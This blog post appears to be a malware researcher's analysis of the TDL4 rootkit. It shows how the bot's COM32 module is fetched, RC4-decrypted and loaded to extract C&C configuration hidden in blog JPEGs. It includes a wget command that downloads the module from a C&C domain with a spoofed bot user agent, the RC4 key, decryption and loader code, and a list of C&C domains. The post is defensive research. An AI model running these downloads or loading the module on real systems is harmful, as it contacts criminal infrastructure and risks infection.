Analysis of TDL4 (Part II)
Domains
As mentioned in the previous blog post, TDL4 has a component called
reveals full configuration file that includes new C&C servers in it:
Applying this function over all JPEG images from the 2 previously mentioned blogs, allows assembling the C&C domain list below:
CMD32/CMD64
that fetches JPEG images from the blogs specified in its configuration file. In order to recover the configurations, CMD32/CMD64
calls Init()
and Uninit()
functions that are implemented in the 'missing' component COM32/COM64
.
Without this component and without knowing what steganography algorithm is used to conceal the text within the images, it is impossible to recover the text.
To download the COM32
component, the C&C server should be queried with a parameter mode=mod&filename=com32
. Previous post explained how to encrypt this parameter. The server will also require the 'GeckaSeka' user agent, otherwise it'll ignore us.
The following parameters for wget
will fetch an encrypted COM32
module from the C&C server:
wget.exe http://wahinotisifatu.com/?CehOKSsUCKLC3skBxcO9fFpCcXju4dg= -U "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.1) GeckaSeka/20090911 Firefox/3.5.1"
Now, in order to decrypt the received module, the RC4 key #1 will be used, as shown below:
prepare_seed(seed1); // for the received file decrypt_file("%received_com32_module%", seed1);where
seed1
, as before, is ripped from the CMD32
module:
BYTE seed1[256] = { 0xF7,0xD4,0xE8,0x26,0x43,0xDB,0x7F,0x07,0xD3,0xE2,0x86,0x38,0x78,0x6A,0x77,0x38, 0xB0,0xCA,0xEC,0x96,0x9C,0x55,0xA8,0x26,0xFB,0x45,0x5E,0x4F,0xAF,0x9A,0x32,0xFF, 0xD5,0x82,0x21,0x26,0xF2,0x98,0xDE,0x28,0xC8,0x2D,0xCC,0xCC,0xFA,0xD1,0xE5,0x2E, 0x85,0x92,0xA9,0xCC,0xF2,0x4E,0x10,0xAD,0x63,0x47,0x25,0xA3,0x91,0x53,0x6F,0xBD, 0xF1,0x1C,0x3D,0x7E,0xD5,0x1A,0x49,0x75,0x44,0x76,0x04,0xD2,0xA3,0xD3,0xE1,0x92, 0x3A,0xA4,0x11,0x96,0x6A,0x97,0x5D,0x3A,0x76,0x3B,0xF0,0xC6,0xF7,0x5F,0xB4,0xCC, 0x0B,0x7B,0x0A,0xE5,0xCF,0x6D,0xAD,0x25,0xA0,0x86,0xC1,0x54,0xC4,0x42,0x85,0x46, 0x6C,0x8A,0x84,0x98,0x5C,0x23,0x93,0x58,0x5E,0x6C,0x36,0xC7,0x3A,0xB5,0x96,0xD4, 0xEA,0xB6,0x16,0x3F,0xF2,0xC1,0x4D,0x1B,0xFC,0x91,0x5D,0xF8,0x24,0xFD,0x99,0x4A, 0xA4,0x61,0x07,0x12,0x40,0xEC,0x43,0xBF,0x51,0x36,0xEE,0x4E,0xE9,0x58,0x87,0xBF, 0x1E,0xF0,0xBF,0x0A,0x32,0xE3,0xB8,0xB2,0x52,0xB3,0x49,0x3D,0x53,0x57,0x19,0xA8, 0x68,0xD0,0x0B,0xD5,0x50,0xD6,0x3A,0x0E,0x6E,0x3B,0xBF,0xD6,0x1C,0x6B,0x0C,0x80, 0x05,0x43,0x8D,0xD0,0x77,0xF9,0x64,0xA8,0x6B,0xB5,0xF6,0x0D,0xA0,0x9A,0x3D,0x2F, 0x00,0x52,0x3E,0x39,0xD0,0x48,0x2B,0xE7,0x55,0xE4,0x47,0x57,0x46,0x34,0xE3,0x1E, 0xFA,0xBE,0x0A,0x45,0xAF,0xCD,0x39,0xD3,0xA1,0x81,0xC2,0x35,0x50,0x21,0x65,0x70, 0x8C,0x3D,0x1B,0x3A,0xFC,0xC9,0x6A,0x96,0x65,0x18,0xC6,0x67,0x3A,0x70,0x97,0xE1, };With the same RC4 decryptor, the file decryption routine is implemented as:
void decrypt_file(LPTSTR szFileName, LPBYTE seed) { HANDLE hFile = NULL; HANDLE hMap = NULL; LPBYTE lpbyBase = NULL; DWORD dwSize = 0; BYTE bRet = 0; if ((hFile = CreateFile(szFileName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) != INVALID_HANDLE_VALUE) { if (((dwSize = GetFileSize(hFile, NULL)) != INVALID_FILE_SIZE) && ((hMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, 0, NULL)) != NULL)) { if ((lpbyBase = (LPBYTE)MapViewOfFile(hMap, FILE_MAP_ALL_ACCESS, 0, 0, 0)) != NULL) { RC4KEY rc4_key; rc4_init(seed, 256, &rc4_key); rc4_crypt(lpbyBase, dwSize, &rc4_key); UnmapViewOfFile(lpbyBase); } CloseHandle(hMap); } CloseHandle(hFile); } }The decrypted file is indeed a DLL file that exports
Init()
and Uninit()
APIs. Without even trying to understand the steganography algorithm implemented in it, let's load it up and try to call its exports in order to decrypt the JPEG images posted into the blogs, specified in the MAIN
configuration file as:
[jpeg_begin]
http://Skylaco[censored].livejournal.com/|m6dj7aA9mhQKdI8X3jy9
http://miqefic[censored].wordpress.com/|jt5G/KE25R1VSaYny0rr
[jpeg_end]
Needless to say, the COM32
Dll should always be loaded in the controlled environment (treated as a malware) as the online version of it might be updated with malicious code any time.
In order to call Init()
and Uninit()
, first we need to understand what parameters are expected by these functions.
As seen in the disassembled code below, the Init()
function accepts 5 parameters: a pointer into JPEG buffer, its size, pointer into the address of the decoded configuration data, its returned size, and finally, a JPEG steganography password.
.text:10003782 mov ecx, [esi] ; decrypted JPEG password .text:10003784 push ecx .text:10003785 lea edx, [esp+62D4h+Size] ; returned configuration size .text:10003789 push edx .text:1000378A lea eax, [esp+62D8h+lpConfig] ; pointer into configuration .text:1000378E push eax .text:1000378F push ebp ; JPEG file (buffer) size .text:10003790 push ebx ; pointer into JPEG raw buffer .text:10003791 call [esp+62E4h+lpfnInit]JPEG steganography password is recovered by decrypting the righ-hand part of the blog URL specified in the configuration (as shown above). For example, to decrypt all images from the
Skylaco[censored].livejournal.com blog
, the string m6dj7aA9mhQKdI8X3jy9
should be decrypted with the RC4 key #1, and then passed to the Init()
function within COM32
Dll.
The Init()
function will allocate memory where it will unpack the configuration. As shown on the listing below, it will then save the recovered configuration back into the memory section of the infected host process, then pass the pointer of the allocated memory buffer to Uninit()
function in order to de-allocate the memory:
.text:100037DF mov eax, [esp+62D0h+lpConfig] ; get config pointer .text:100037E3 push offset aMain_0 ; "main" .text:100037E8 call save_into_host_image .text:100037ED test eax, eax .text:100037EF jz start_over_again ... .text:100037F5 mov eax, [esp+62D0h+lpConfig] ; get config pointer ... .text:100037F9 push eax .text:100037FA call [esp+62D4h+lpfnUninit] ; pass it to Uninit()Knowing exactly what parameters are used for
Init()
and Uninit()
, let's declare the prototype for these functions:
typedef WINADVAPI BYTE (WINAPI *FINIT)(LPBYTE abyJpegBuffer, DWORD dwJpegSize, LPDWORD lpdwConfigPointer, LPDWORD lpdwSize, LPSTR szJpegKey); typedef WINADVAPI BYTE (WINAPI *FUNINIT)(DWORD dwConfigPointer); FINIT lpfnInit = NULL; FUNINIT lpfnUninit = NULL;Next, let's call the function that will decrypt the downloaded JPEG image, passing it the JPEG steganography password that is specified in the configuration:
decrypt_jpeg("%downloaded_jpeg_file%", "jt5G/KE25R1VSaYny0rr");where
decrypt_jpeg()
function is implemented as shown below:
void decrypt_jpeg(LPSTR szFileName, LPSTR szJpegKeyBase64) { char zJpegKey[MAX_PATH]; decrypt(szJpegKeyBase64, szJpegKey, seed1); HANDLE hFile = NULL; HANDLE hMap = NULL; LPBYTE lpbyBase = NULL; DWORD dwSize = 0; DWORD dwConfigPointer; DWORD dwConfigSize; DWORD dwBytesWritten; char szConfigTxt[MAX_PATH]; HANDLE hConfigTxt = NULL; HINSTANCE hCom32 = LoadLibrary("%decrypted_com32_module%"); if (hCom32 == NULL) { return; } lpfnInit = (FINIT)GetProcAddress(hCom32, "Init"); lpfnUninit = (FUNINIT)GetProcAddress(hCom32, "Uninit"); if ((lpfnInit == NULL) || (lpfnUninit == NULL)) { FreeLibrary(hCom32); return; } if ((hFile = CreateFile(szFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) != INVALID_HANDLE_VALUE) { if (((dwSize = GetFileSize(hFile, NULL)) != INVALID_FILE_SIZE) && ((hMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL)) != NULL)) { if ((lpbyBase = (LPBYTE)MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0)) != NULL) { dwConfigSize = 0; dwConfigPointer = 0; if (lpfnInit(lpbyBase, dwSize, &dwConfigPointer, &dwConfigSize, szJpegKey)) { if (dwConfigPointer && dwConfigSize) { sprintf_s(szConfigTxt, MAX_PATH, "%s.txt", szFileName); if ((hConfigTxt = CreateFile(szConfigTxt, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL)) != INVALID_HANDLE_VALUE) { WriteFile(hConfigTxt, (LPVOID)dwConfigPointer, dwConfigSize, &dwBytesWritten, NULL); CloseHandle(hConfigTxt); } } lpfnUninit(dwConfigPointer); } UnmapViewOfFile(lpbyBase); } CloseHandle(hMap); } CloseHandle(hFile); } FreeLibrary(hCom32); }Applying this function over an image downloaded from one of the blogs above (the actual image below doesn't have an embedded text - it was stripped as the image was processed, the original image is available here):
http://andianralway.com
http://ardchecksys.com
http://arevidenlo.com
http://asdron.com
http://aspirefotbal.com
http://atisedir.com
http://ciselwic.com
http://docietyofa.com
http://doproter.com
http://ecavesiyc.com
http://ersitycardio.com
http://farepala.com
http://healthclini.com
http://icaidspenp.com
http://lacuricub.com
http://listofvoteri.com
http://mecarinariniz.com
http://merialedilasuc.com
http://njmedicaice.com
http://nucerecat.com
http://playpitchca.com
http://ramofgrenca.com
http://rentalprope.com
http://ricardogoe.com
http://sardpuitsmea.com
http://sdhcardusba.com
http://shuttleserv.com
http://silverlakem.com
http://tilesnightc.com
http://tobenri.com
http://uclanedical.com
http://uindirected.com
http://uluniwiming.com
http://usibetsou.com
http://vaneriledcas.com
http://wacardeuse.com
http://wahinotisifatu.com
http://waoninstofnatine.com
http://washutubs.com
http://wideoexpre.com
http://wieremien.com
http://yonseiuniver.com
0 Comments:
Post a Comment
Subscribe to Post Comments [Atom]
<< Home